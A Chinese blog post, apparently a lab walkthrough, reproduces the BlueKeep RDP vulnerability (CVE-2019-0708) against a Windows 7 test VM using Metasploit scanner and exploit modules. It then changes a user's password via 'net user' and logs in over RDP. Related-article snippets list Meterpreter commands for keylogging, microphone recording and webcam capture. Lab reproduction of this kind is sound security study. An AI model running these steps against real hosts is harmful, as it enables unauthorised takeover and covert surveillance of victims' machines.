CVE-2019-0708漏洞复现

复现CEV-2019-0708RDP漏洞：蓝屏漏洞攻击实战
最新推荐文章于 2025-04-26 15:51:12 发布
原创 最新推荐文章于 2025-04-26 15:51:12 发布 · 653 阅读 · 7 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文详细介绍了如何在Kali Linux环境下针对Windows 7系统复现CEV-2019-0708 RDP漏洞，即BlueKeep漏洞。实验过程包括开启3389端口，使用Metasploit Framework进行漏洞扫描和攻击，最终成功实现远程桌面的连接并验证漏洞利用。

一、实验目的

实现CEV-2019-0708 RDP漏洞复现, 漏洞利用方式是通过远程桌面端口3389，RDP协议进行攻击的。

二、 实验内容

1. 实验环境

kali（192.168.91.129）
Win7 （192.168.91.191）
在这里插入图片描述
开启3389端口，允许远程桌面连接；修改高级共享设置，默认是关闭的；
在这里插入图片描述

2. 进入msfconsole

在这里插入图片描述

3. 漏洞测试

输入search cve-2019-0708
在这里插入图片描述
可用测试模块：
0 auxiliary/scanner/rdp/cve_2019_0708_bluekeep 2019-05-14 normal Yes CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check
攻击模块：
1 exploit/windows/rdp/cve_2019_0708_bluekeep_rce 2019-05-14 manual Yes CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free

使用扫描测试模块
命令use 0
在这里插入图片描述
指定靶机的ip地址
Set rhosts
进行攻击exploit
在这里插入图片描述
可以看到靶机存在漏洞提示

4.攻击

使用攻击模块
在这里插入图片描述
设置目标IP地址
在这里插入图片描述
攻击
在这里插入图片描述
攻击成功，输入ipconfig可以看到目标主机的ip地址。
在这里插入图片描述
在这里插入图片描述
更改用户密码，进行远程登陆
Net user root 123

远程连接测试
rdesktop 192.168.91.191

在这里插入图片描述
连接成功，输入密码
在这里插入图片描述
连接成功

在这里插入图片描述
漏洞复现成功。

0935
关注
[系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及防御详解
杨秀璋的专栏
12-27 1万+
娜璋AI安全之家于2020年8月18日开通，将专注于Python和安全技术，主要分享Web渗透、系统安全、CVE复现、威胁情报分析、人工智能、大数据分析、恶意代码检测等文章。真心想把自己近十年的所学所做所感分享出来，与大家一起进步。 系统安全系列作者将深入研究恶意样本分析、逆向分析、漏洞利用、攻防实战等，通过在线笔记和实践操作的形式分享与博友们学习。前文通过编写程序实现获取Windows系统目录文件，并对其进行加密和解密的过程。这篇文章将详细介绍Windows远程桌面服务漏洞（CVE-2019-0708），
【shodan】（二）漏洞利用
m0_53419560的博客
11-23 1017
CVE-2019-0708，也被称为“BlueKeep”，是一个严重的安全漏洞，存在于Microsoft Windows的远程桌面服务（Remote Desktop Services）中。该漏洞允许未授权的攻击者通过利用此漏洞执行任意代码，可能导致系统完全被控制。对该漏洞的严重性评估达到了“高度危急”，并被微软归类为“外部远程代码执行漏洞”。端口：3389受影响的版本Windows 7。
CVE-2019-0708 漏洞复现
qq_40860153的博客
05-11 1745
存在漏洞的远程桌面服务器，在接收到特殊数据包时会释放一个内部信道 MS_T120 的控制结构体，但并未将指向该结构体的指针删除，而且在远程桌面连接结束之后还会调用 MS_T120 结构体内的一个函数指针，若攻击者可通过远程发送数据重新占据被释放的 MS_T120，并为结构体内的函数指针赋恰当的值，即可实现远程命令执行。4、可以看到攻击完成，但是没有成功创建会话，通过分析告警提示，是需要指定一下目标攻击框架，这里再设置一下攻击框架，再发起攻击就可以成功获取到会话了。攻击机：192.168.0.1。
Kali--MSF（CVE-2019-0708漏洞复现）
weixin_53946822的博客
08-25 849
出现你就已经成功的入侵的对方的电脑监控靶机电脑屏幕keyscan_start 开始捕获击键（开始键盘记录）keyscan_dump 转储按键缓冲（下载键盘记录）keyscan_stop 停止捕获击键（停止键盘记录）record_mic X秒从默认的麦克风record_mic音频记录（音频录制）webcam_chat 开始视频聊天（视频，对方会有弹窗）webcam_list 单摄像头（查看摄像头列表）webcam_snap 采取快照从指定的摄像头（摄像头拍摄一张照片）
CVE-2019-0708漏洞复现（远程桌面服务）
最新发布
m0_74795359的博客
04-26 2028
CVE-2019-0708是Windows远程桌面服务（RDP）的远程代码执行漏洞，影响未打补丁的Windows系统。攻击者无需用户交互即可发送恶意RDP请求，触发堆溢出，最终执行任意代码。该漏洞被命名为"BlueKeep"，因其潜在危害被评级为（CVSS 9.8）。
RDP远程漏洞热补丁HotFix_CVE-2019-0708.exe
05-24
高危远程漏洞CVE-2019-0708。攻击者一旦成功利用该漏洞，便可以在目标系统上执行任意代码，导致存在该漏洞的电脑、服务器瞬间崩溃蓝屏，甚至完全被控制，沦为"僵尸"机器大范围传播蠕虫病毒。360官方推出RDP远程漏洞热补丁工具，可以解决此安全隐患
CVE-2019-0708（远程桌面服务RCE）漏洞复现（超详细Getshell）
unlash的博客
10-28 1万+
CVE-2019-0708（远程桌面服务RCE）漏洞复现（超详细Getshell） 漏洞介绍 漏洞修复 复现条件
CVE-2019-0708漏洞利用
彼岸花苏陌的博客
11-30 964
CVE-2019-0708漏洞利用 漏洞平台披露 https://nvd.nist.gov/vuln/detail/CVE-2019-0708 影响系统： windows_7 windows2003 windows2008 windowsxp 等等，具体影响范围看上面的链接网址即可 漏洞利用： 攻击方：192.168.216.136（kali linux） 靶机：192.168.216.138（windows7） 1.使用nmap进行主机探测 使用nmap进行扫描（这里使用zennmap了，不过也无伤大雅
记录CVE-2019-0708（BlueKeep）漏洞分析与复现(失败)
weixin_52685785的博客
02-05 1462
2019年5月，微软发布了关于CVE_2019_0708的漏洞补丁，该漏洞名为bluekeep，黑客利用该漏洞可以通过3389进行远程桌面登录，危害相当大，如果成功利用该漏洞，黑客完全可以像两年前一样，发展蠕虫勒索病毒。目前受影响的操作系统版本有：Windows 7、Windows Server 2008、Windows XP。
CVE-2019-0708漏洞复现（EXP利用）
CSD15138668634的博客
09-09 1543
2019年5月15号Windows发布补丁，该补丁修复了远程桌面中存在的远程代码执行漏洞CVE-2019-0708，该漏洞通过检查用户的身份验证，绕过认证，可直接通过rdp协议进行连接并发送恶意代码。一旦被利用会导致服务器入侵，可造成像WannaCry永恒之蓝漏洞一样大规模的感染。 2019年9月7日凌晨，metaspolit更新了漏洞利用程序，可远程代码执行获取系统权限。 0x01环...
CVE-2019-0708漏洞 复现利用
热门推荐
nszmsjhshs的博客
03-09 1万+
这几天研究cve-2019-0708，一开始出错特别多而且只能把win7打成蓝屏，经过多次的更换靶机和攻击的试探最终功夫不负有心人，我利用cve-2020-0708终于拿到了win7的shell权限 演示步骤如下 靶机：win7旗舰版IP：192.168.220.151 攻击机：kali2021IP：192.168.220.148 靶机需要额外的内部环境配置，首先需要将靶机的防火墙关闭，其次将远程控制功能开启并允许所有机可以远程控制。然后将防火墙设置高级模式，在高级模式中的添加入站规则，设置新增端口3
利用windows 7 CEV-2019-0708漏洞
jcs233的博客
12-28 1555
这意味着一些客户，尤其是那些正在运行不再获得主流支持的Windows版本的客户，将不会收到任何安全更新来保护他们的系统免遭CVE-2019-0708的攻击。该漏洞存在于Windows系统的Remote Desktop Services（远程桌面服务）（端口3389）中，未经身份验证的攻击者可以通过发送特殊构造的数据包触发漏洞，可能导致远程无需用户验证控制系统。这意味着该漏洞可以通过网络蠕虫的方式被利用，利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机。
cve-2019-0708远程桌面代码执行漏洞复现
明哥哥知识分享
11-05 1122
1.影响版本 Windows 7 Windows Server 2008 R2 Windows Server 2008 Windows 2003 Windows XP 2.漏洞描述 Microsoft Windows中存在远程桌面执行代码漏洞，该漏洞源于Microsoft Remote Desktop Services中存在输入验证错误漏洞，网络系统或产品未对输入的数据进行正确的验证。当未经身份验证的攻击者使用 RDP 连接到目标系统并发送经特殊设计的请求时，远程桌面服务（以前称为“终端服务”）中存在
CVE-2019-0708——反弹shell
迷风小白
09-09 1万+
0x00 前言 CVE-2019-0708这个漏洞最早爆出是在今年5月份，不过当时这个漏洞POC只能使得目标主机蓝屏，相关文章可以参考我的前一篇文章，然而就在前几天又爆出来可以反弹shell的exp，下面我就又双叒叕来复现一下啦。 目前漏洞影响范围：Windows 7 sp1 or 2008 R2 0x01 环境准备 镜像：Windows 7 sp1 (链接: https://pan.baidu....
复现CVE-2019-0708漏洞：MetaSploit攻击教程
"本课程详细介绍了如何使用MetaSploit框架对CVE-2019-0708（BlueKeep）漏洞进行攻击复现。作者是陈殷，内容来源于山丘安全攻防实验室。课程中涉及到的主要步骤包括安装MetaSploit的特定攻击模块，以及在Linux环境中...
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值